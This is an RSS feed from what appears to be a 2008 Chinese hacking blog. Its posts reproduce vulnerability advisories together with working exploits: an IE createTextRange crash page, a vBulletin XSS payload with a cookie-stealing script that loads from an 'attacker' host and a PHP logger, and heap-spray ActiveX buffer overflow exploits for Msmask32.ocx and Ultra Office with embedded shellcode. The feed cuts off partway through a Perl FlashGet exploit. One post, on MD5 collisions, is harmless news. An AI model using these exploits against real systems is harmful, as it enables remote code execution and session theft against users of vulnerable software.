<?xml version="1.0" encoding="utf-8"?>

<rss version="2.0" 
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:admin="http://webns.net/mvcb/"
    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
    xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title><![CDATA[QIMENG@NET@AN~SQL Injection Attack technology]]></title>
    <link><![CDATA[http://qmsqlwebshell.7766.org/]]></link>
    <description><![CDATA[我们爱护电脑,更热爱我们的祖国.我们希望电脑化空间平安无事,我们更乐意看到人们在网络中学会保护自己.这是我们期待的,更是我们不断努力的.通往电脑的路不止一条,所有的信息都应是免费的,打破电脑权限,在电脑上创造艺术和美,计算机使生活更美好.为技术而活着的人 渴望研究技术的美 永远追随技术最高峰！！！]]></description>
    <dc:language>zh-cn</dc:language>
    <dc:creator><![CDATA[wangchen5202002@21cn.com]]></dc:creator>
    <dc:rights><![CDATA[Copyright 2008黑病毒. All rights reserved.]]></dc:rights>
    <dc:date>2008-09-08T07:12:59Z</dc:date>
    <admin:generatorAgent rdf:resource="http://qmsqlwebshell.7766.org/" />
    <admin:errorReportsTo rdf:resource="http://qmsqlwebshell.7766.org/"/>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>

	<item>
    <title><![CDATA[Microsoft IE cr&#101;ateTextRange方式内存破坏漏洞（MS08-045）]]></title>
    <description><![CDATA[发布日期：2008-03-18
更新日期：2008-08-19

受影响系统：
Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP4
描述：
----------------------------------------...]]></description>
    <content:encoded><![CDATA[发布日期：2008-03-18<br>更新日期：2008-08-19<br><br>受影响系统：<br>Microsoft Internet Explorer 7.0<br>Microsoft Internet Explorer 6.0 SP1<br>Microsoft Internet Explorer 6.0<br>Microsoft Internet Explorer 5.0.1 SP4<br>描述：<br>--------------------------------------------------------------------------------<br>BUGTRAQ  ID: 28295<br>CVE(CAN) ID: CVE-2008-2255<br><br>Internet Explorer是微软操作系统中所默认捆绑的WEB浏览器。<br><br>IE的createTextRange方式没有正确地验证HTML文档中的超长参数。攻击者可以通过构建特制的网页来利用该漏洞，当用户查看网页时，该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。<br><br>&lt;*来源：Juan Pablo Lopez Yacubian （jplopezy@gmail.com）<br>  <br>  链接：<a target='_blank' href='http://secunia.com/advisories/31375/'>http://secunia.com/advisories/31375/</a><br>        <a target='_blank' href='http://marc.info/?l=bugtraq&amp;m=120585764805251&amp;w=2'>http://marc.info/?l=bugtraq&amp;m=120585764805251&amp;w=2</a><br>        <a target='_blank' href='http://www.microsoft.com/technet/security/Bulletin/MS08-045.mspx?pf=true'>http://www.microsoft.com/technet/security/Bulletin/MS08-045.mspx?pf=true</a><br>        <a target='_blank' href='http://www.us-cert.gov/cas/techalerts/TA08-225A.html'>http://www.us-cert.gov/cas/techalerts/TA08-225A.html</a><br>*&gt;<br><br>测试方法：<br>--------------------------------------------------------------------------------<br><br>警 告<br><br>以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<br><br>&lt;html&gt;<br>&lt;body&gt;<br>&lt;script language=&quot;JavaScript&quot;&gt;<br>function function1() {<br>    var myNode = document.body.createTextRange();<br>while(1)<br>    myNode.text = &#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#39;; <br>}<br>&lt;/script&gt;<br>&lt;button onclick=&quot;function1();&quot;&gt;Ejecutar prueba&lt;/button&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br><br>建议：<br>--------------------------------------------------------------------------------<br>临时解决方法：<br><br>如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：<br><br>* 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件之前进行提示。<br>        <br>* 将Internet 和本地Intranet安全区域设置设为&quot;高&quot;，以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。<br>    <br>* 以纯文本格式阅读电子邮件可帮助保护您免受来自HTML电子邮件攻击媒介的攻击。<br><br>厂商补丁：<br><br>Microsoft<br>---------<br>Microsoft已经为此发布了一个安全公告（MS08-045）以及相应补丁:<br>MS08-045：Cumulative Security update for Internet Explorer (953838)<br>链接：<a target='_blank' href='http://www.microsoft.com/technet/security/Bulletin/MS08-045.mspx?pf=true'>http://www.microsoft.com/technet/security/Bulletin/MS08-045.mspx?pf=true</a>
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1078]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1078]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-28T21:34:37Z</dc:date>
  </item>

	<item>
    <title><![CDATA[vBulletin $newpm[title]参数跨站脚本漏洞]]></title>
    <description><![CDATA[发布日期：2008-08-20
更新日期：2008-08-22

受影响系统：
VBulletin VBulletin 3.7.2 PL1
VBulletin VBulletin 3.6.10 PL3
不受影响系统：
VBulletin VBulletin 3.7.2 PL2
VBulletin VBulletin 3.6.10 PL4
描述：
----------------------------------------...]]></description>
    <content:encoded><![CDATA[发布日期：2008-08-20<br>更新日期：2008-08-22<br><br>受影响系统：<br>VBulletin VBulletin 3.7.2 PL1<br>VBulletin VBulletin 3.6.10 PL3<br>不受影响系统：<br>VBulletin VBulletin 3.7.2 PL2<br>VBulletin VBulletin 3.6.10 PL4<br>描述：<br>--------------------------------------------------------------------------------<br>BUGTRAQ  ID: 30777<br><br>vBulletin是一款开放源代码的PHP论坛程序。<br><br>vBulletin论坛如果启用了Show New Private Message Notification Pop-Up选项的话，由于没有正确地过滤保密消息标题的输入便执行了存储，这可能导致注入任意HTML和脚本代码，并在浏览恶意数据时执行。<br><br>以下是有漏洞的代码段：<br><br>/-----------<br><br>&lt;!--<br>// script to show new private message popup<br>if (confirm(&quot;You have a new private message.\n\nSender:<br>[SENDER_USERNAME]\nTitle: &#39;[PRIVATE_MESSAGE_TITLE]&#39;\n\nClick OK to view<br>it, or cancel to hide this prompt.&quot;))<br>{<br>    // Output when OK is clicked<br>    if (confirm(&quot;Open the message in a new window?\n\n(Press cancel to open<br>in the current window.)&quot;))<br>    {<br>        var winobj =<br>window.open(&quot;private.php?do=showpm&amp;pmid=[PRIVATE_MESSAGE_ID]&quot;, &quot;pmnew&quot;,<br>&quot;statusbar=yes,menubar=yes,scrollbars=yes,toolbar=yes,location=yes,directories=yes,resizable=yes,top=50,left=50&quot;);  if (winobj == null)<br>        {<br>            alert(&quot;Unable to open a new browser window,\n This might be due to a<br>&#39;popup blocker&#39;&quot;);<br>        }<br>    }<br>    else<br>    {<br>        window.location = &quot;private.php?do=showpm&amp;pmid=[PRIVATE_MESSAGE_ID]&quot;;<br>    }<br>}<br>// end pm popup script<br>//--&gt;<br><br>- -----------/<br><br>之前在global.php文件中取消了对install/vbulletin-style.xml中$newpm[title]变量的过滤，仅执行了斜线转义：<br><br>/-----------<br><br>//<br>#############################################################################<br>// get new private message popup<br>$shownewpm = false;<br>if ($vbulletin-&gt;userinfo[&#39;pmpopup&#39;] == 2 AND<br>$vbulletin-&gt;options[&#39;checknewpm&#39;] AND $vbulletin-&gt;userinfo[&#39;userid&#39;] AND<br>!defined(&#39;NOPMPOPUP&#39;))<br>{<br>    $userdm =&amp; datamanager_init(&#39;User&#39;, $vbulletin, ERRTYPE_SILENT);<br>    $userdm-&gt;set_existing($vbulletin-&gt;userinfo);<br>    $userdm-&gt;set(&#39;pmpopup&#39;, 1);<br>    $userdm-&gt;save(true, &#39;pmpopup&#39;);    // &#39;pmpopup&#39; tells db_update to issue a<br>shutdownquery of the same name<br>    unset($userdm);<br><br>    if (THIS_SCRIPT != &#39;private&#39; AND THIS_SCRIPT != &#39;login&#39;)<br>    {<br>        $newpm = $db-&gt;query_first(&quot;<br>        select pm.pmid, title, fromusername<br>        FROM &quot; . TABLE_PREFIX . &quot;pmtext AS pmtext<br>        LEFT join &quot; . TABLE_PREFIX . &quot;pm AS pm USING(pmtextid)<br>        where pm.userid = &quot; . $vbulletin-&gt;userinfo[&#39;userid&#39;] . &quot;<br>        AND pm.folderid = 0<br>        ORDER BY dateline DESC<br>        LIMIT 1&quot;);<br>    <br>        $newpm[&#39;username&#39;] =<br>addslashes_js(unhtmlspecialchars($newpm[&#39;fromusername&#39;], true), &#39;&quot;&#39;);<br>        $newpm[&#39;title&#39;] = addslashes_js(unhtmlspecialchars($newpm[&#39;title&#39;],<br>true), &#39;&quot;&#39;);<br>        $shownewpm = true;<br>    }<br>}<br><br>- -----------/<br><br>这允许跨站脚本攻击。<br><br>&lt;*来源：Federico Muttis<br>  <br>  链接：<a target='_blank' href='http://secunia.com/advisories/31552/'>http://secunia.com/advisories/31552/</a><br>        <a target='_blank' href='http://www.vbulletin.com/forum/showthread.php?t=282133'><a target='_blank' href='http://www.vbulletin.com/'>http://www.vbulletin.com/</a>forum/showthread.php?t=282133</a><br>        <a target='_blank' href='http://marc.info/?l=bugtraq&amp;m=121933258013788&amp;w=2'>http://marc.info/?l=bugtraq&amp;m=121933258013788&amp;w=2</a><br>*&gt;<br><br>测试方法：<br>--------------------------------------------------------------------------------<br><br>警 告<br><br>以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<br><br>- --&gt;&lt;/script&gt;&lt;script&gt;alert(/xss/.source)&lt;/script&gt;&lt;!--<br>- --&gt;&lt;/script&gt;&lt;script src=&quot;http:&quot;//attacker/vbStealer/egg.js&gt;&lt;/script&gt;&lt;!--<br><br>这里egg.js脚本为<br><br>// == XSS - Cookie stealing - vBulletin 3.7.2 PL1 ==<br>//<br>// Using the first method described in<br>// <a target='_blank' href='http://www.securityfocus.com/archive/107/308433'>http://www.securityfocus.com/archive/107/308433</a><br>//<br>// To bypass HttpOnly cookie restrictions - Works in IE 6 and lower<br><br>var XmlHttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);<br>XmlHttp.open(&quot;GET&quot;,&quot;<a target='_blank' href='http://victim/vbStealer/logger.php&quot;,false);'>http://victim/vbStealer/logger.php&quot;,false);</a><br>XmlHttp.setRequestHeader(&quot;Host&quot;,&quot;attacker&quot;);<br>XmlHttp.send();<br><br>logger.php脚本文件为<br><br>&lt;?<br>// == XSS - Cookie stealing - vBulletin 3.7.2 PL1 ==<br><br>$all_cookies = &quot;&quot;;<br>foreach ($_COOKIE as $cookie_name =&gt; $cookie_value) {<br>    $all_cookies .= &quot;$cookie_name=$cookie_value, &quot;;<br>}<br>rtrim($all_cookies, &quot;, &quot;);<br>file_put_contents(&quot;iplog.txt&quot;, &quot;COOKIES: &quot;.$all_cookies.&quot;\n&quot;, FILE_APPEND);<br>?&gt;<br><br>建议：<br>--------------------------------------------------------------------------------<br>厂商补丁：<br><br>VBulletin<br>---------<br>目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：<br><br><a target='_blank' href='http://www.vbulletin.com/'>http://www.vbulletin.com/</a>
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1077]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1077]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-28T21:32:04Z</dc:date>
  </item>

	<item>
    <title><![CDATA[Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit]]></title>
    <description><![CDATA[Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit

Author: Koshi
Original POC: http://www.milw0rm.com/exploits/6244 ( Not by me )

My first ActiveX exploit, learned quite a bit playing with this one.
Heaps are handy....]]></description>
    <content:encoded><![CDATA[Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit<br><br>Author: Koshi<br>Original POC: <a target='_blank' href='http://www.milw0rm.com/exploits/6244'>http://www.milw0rm.com/exploits/6244</a> ( Not by me )<br><br>My first ActiveX exploit, learned quite a bit playing with this one.<br>Heaps are handy.<br><br>#################################################<br>Loaded File: C:\WINDOWS\system32\MSMASK32.OCX<br>Name:        MSMask<br>Version:     1.1<br>Class MaskEdBox<br>GUID: {C932BA85-4374-101B-A56C-00AA003668DC}<br>Number of Interfaces: 1<br>Default Interface: IMSMask<br>RegKey Safe for Script: False<br>RegKey Safe for Init: True<br>KillBitSet: False<br>#################################################<br><br><br>gr33tz: Rima my baby, str0ke, mess, and to all of those who have helped me over the years!<br><br>&lt;input language=JavaScript onclick=doIt() type=button value=&quot;Test Exploit&quot;&gt;<br>&lt;script language=&quot;JavaScript&quot;&gt;<br><br>function doIt()<br>{<br>var body=&#39;&lt;OBJECT CLASSID=&quot;CLSID:C932BA85-4374-101B-A56C-00AA003668DC&quot; width=&quot;10&quot;&gt;&lt;PARAM NAME=&quot;Mask&quot; VALUE=&quot;&#39;;<br>var body1=&#39;&quot;&gt;&lt;/OBJECT&gt;&#39;;<br>var buf1 = &#39;&#39;;<br>for (i=1;i&lt;=1945;i++){buf1=buf1+unescape(&quot;%0c&quot;);}<br><br>// win32_exec -  EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 <a target='_blank' href='http://metasploit.com'>http://metasploit.com</a><br><br>var shellcode = unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047&quot; +<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;%u6363%u5251%u634c%u5553%u4550&quot;);<br><br><br>// A read through &quot;Heap Feng Shui in JavaScript&quot; shed some<br>// much needed light on this topic for me. Thank you Alexander Sotirov.<br>var shellcodeSize = (shellcode.length * 2);<br>var spraySled = unescape(&quot;%u9090%u9090&quot;);<br>var heapAddress = 0x0c0c0c0c;<br>var heapBlockSize = 0x100000;<br>var spraySledSize = heapBlockSize - (shellcodeSize + 1);<br>var heapBlocks = (heapAddress+heapBlockSize)/heapBlockSize;<br>var x = new Array();<br>while (spraySled.length*2&lt;spraySledSize)<br>{<br>spraySled += spraySled;<br>}<br>spraySled = spraySled.substring(0,spraySledSize/2);<br>for (i=0;i&lt;heapBlocks;i++)<br>{<br>x[i] = spraySled +  shellcode;<br>}<br>document.write(body+buf1+body1);<br>}<br><br>&lt;/script&gt;<br><br># milw0rm.com [2008-08-26]
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1076]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1076]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-28T21:24:34Z</dc:date>
  </item>

	<item>
    <title><![CDATA[Ultra Office ActiveX Control Remote Buffer Overflow Exploit]]></title>
    <description><![CDATA[-----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Buffer Overflow
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai autistici org
 site: http://www.shinnai.net...]]></description>
    <content:encoded><![CDATA[-----------------------------------------------------------------------------<br> Ultra Office ActiveX Control Remote Buffer Overflow<br> url: <a target='_blank' href='http://www.ultrashareware.com'>http://www.ultrashareware.com</a><br><br> Author: shinnai<br> mail: shinnai[at]autistici[dot]org<br> site: <a target='_blank' href='http://www.shinnai.net'>http://www.shinnai.net</a><br><br> This was written for educational purpose. Use it at your own risk.<br> Author will be not responsible for any damage.<br><br> Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7<br>-----------------------------------------------------------------------------<br>&lt;script language=&quot;JavaScript&quot; defer&gt;<br>  var sCode = unescape(&quot;%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800&quot; +<br>                       &quot;%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A&quot; +<br>                       &quot;%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350&quot; +<br>                       &quot;%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40&quot; +<br>                       &quot;%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000&quot; +<br>                       &quot;%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040&quot; +<br>                       &quot;%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD&quot; +<br>                       &quot;%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40&quot; +<br>                       &quot;%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18&quot; +<br>                       &quot;%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0&quot; +<br>                       &quot;%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B&quot; +<br>                       &quot;%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24&quot; +<br>                       &quot;%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9&quot; +<br>                       &quot;%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C&quot; +<br>                       &quot;%u652E%u6578%u9000&quot;);<br>  var sSlide = unescape(&quot;%u9090%u9090&quot;);<br>  var heapSA = 0x0c0c0c0c;<br>  function tryMe()<br>   {<br>    var buffSize = 20000;<br>    var x =  unescape(&quot;%0c%0c%0c%0c&quot;);<br>    while (x.length&lt;buffSize) x += x;<br>    x = x.substring(0,buffSize);<br>    boom.HttpUpload(x, x, x);<br>  }<br>  function getsSlide(sSlide, sSlideSize)<br>   {<br>    while (sSlide.length*2&lt;sSlideSize)<br>     {<br>      sSlide += sSlide;<br>     }<br>    sSlide = sSlide.substring(0,sSlideSize/2);<br>    return (sSlide);<br>  }<br>  var heapBS = 0x400000;<br>  var sizeHDM = 0x5;<br>  var PLSize = (sCode.length * 2);<br>  var sSlideSize = heapBS - (PLSize + sizeHDM);<br>  var heapBlocks = (heapSA+heapBS)/heapBS;<br>  var memory = new Array();<br>  sSlide = getsSlide(sSlide,sSlideSize);<br>  for (i=0;i&lt;heapBlocks;i++)<br>   {<br>    memory[i] = sSlide +  sCode;<br>   }<br> &lt;/script&gt;<br> &lt;body onload=&quot;JavaScript: return tryMe();&quot;&gt;<br>  &lt;object id=&quot;boom&quot; classid=&quot;clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7&quot;&gt;<br>   Unable to create object<br> &lt;/object&gt;<br><br># milw0rm.com [2008-08-27]
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1075]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1075]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-28T21:23:09Z</dc:date>
  </item>

	<item>
    <title><![CDATA[MD5已经不堪一击]]></title>
    <description><![CDATA[以下新闻来自:http://www.cnbeta.com/articles/59117.htm

以后都用sha加密吧,至少要用sha256..

-------------------------------

原来我总是很自信地以为:你有本事找到 MD5 的碰撞又如何?你难道还有本事让两个可执行文件的 MD5 一样,却又都能正常运行,并且可以...]]></description>
    <content:encoded><![CDATA[以下新闻来自:<a target='_blank' href='http://www.cnbeta.com/articles/59117.htm'>http://www.cnbeta.com/articles/59117.htm</a><br><br>以后都用sha加密吧,至少要用sha256..<br><br>-------------------------------<br><br>原来我总是很自信地以为:你有本事找到 MD5 的碰撞又如何?你难道还有本事让两个可执行文件的 MD5 一样,却又都能正常运行,并且可以做完全不同的事情么?<br>答:还真的可以.<br><br><br><a target='_blank' href='http://www.win.tue.nl/hashclash/SoftIntCodeSign/HelloWorld-colliding.exe'>http://www.win.tue.nl/hashclash/SoftIntCodeSign/HelloWorld-colliding.exe</a><br><br><a target='_blank' href='http://www.win.tue.nl/hashclash/SoftIntCodeSign/GoodbyeWorld-colliding.exe'>http://www.win.tue.nl/hashclash/SoftIntCodeSign/GoodbyeWorld-colliding.exe</a><br><br>这两个程序会在屏幕上打印出不同的字符，但是它们的 MD5 都是一样的。<br><br>通读其论文后摘要如下：<br><br>这几位密码学家使用的是&quot;构造前缀碰撞法&quot;（chosen-prefix collisions）来进行此次攻击（是王小云所使用的攻击方法的改进版本）。<br><br>他们所使用的计算机是一台 Sony PS3，且仅用了不到两天。<br><br>他们的结论：MD5 算法不应再被用于任何软件完整性检查或代码签名的用途。<br><br>另：现在，如果仅仅是想要生成 MD5 相同而内容不同的文件的话，在任何主流配置的电脑上用几秒钟就可以完成了。<br><br>这几位密码学家编写的&quot;快速 MD5 碰撞生成器&quot;：<a target='_blank' href='http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip'>http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip</a><br>源代码：<a target='_blank' href='http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip'>http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip</a>
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1074]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1074]]></guid>
    <dc:subject><![CDATA[技术]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-18T20:53:36Z</dc:date>
  </item>

	<item>
    <title><![CDATA[FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)]]></title>
    <description><![CDATA[#!/usr/bin/perl
# k`sOSe 08/17/2008
# bypass safeseh using flash9f.ocx.

use warnings;
use strict;
use IO::Socket;

# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =	
"\x31\xc9\x83\xe9...]]></description>
    <content:encoded><![CDATA[#!/usr/bin/perl<br># k`sOSe 08/17/2008<br># bypass safeseh using flash9f.ocx.<br><br>use warnings;<br>use strict;<br>use IO::Socket;<br><br># win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub <a target='_blank' href='http://metasploit.com'>http://metasploit.com</a><br>my $shellcode 